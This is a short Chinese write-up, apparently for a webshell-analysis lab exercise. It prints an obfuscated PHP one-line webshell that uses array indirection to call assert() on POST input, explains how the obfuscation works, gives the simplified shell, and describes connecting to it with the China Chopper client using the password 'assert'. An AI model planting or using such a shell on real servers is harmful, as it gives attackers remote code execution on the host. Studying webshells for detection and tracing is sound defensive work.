WebShell代码分析溯源(第1题)

 

<?php $POST['POST']='assert';$array[]=$POST;$array[0]['POST']($_POST['assert']);?>

assert,是php代码执行函数,与eval()有同样的功能,assert()函数中参数为表达式 (或者为函数)

因为$array[], POST[]都是数组,所以$array[]=$POST,就是把$POST数组的值赋给$array数组

这样的话$array[0]['POST']的输出就是assert,所以组成了一句话木马

<?php assert($_POST['assert']);?>

构造菜刀 ip/www/index.php?POST=assert 密码为assert

WebShell代码分析溯源(第1题)


WebShell代码分析溯源(第1题)

 

相关文章:

  • 2021-07-28
  • 2021-07-10
  • 2021-12-09
  • 2021-07-06
  • 2021-10-07
  • 2022-02-01
  • 2021-10-01
  • 2021-09-08
猜你喜欢
  • 2021-12-25
  • 2021-09-22
  • 2021-11-23
  • 2021-11-27
  • 2021-11-27
  • 2021-12-15
  • 2022-02-14
相关资源
相似解决方案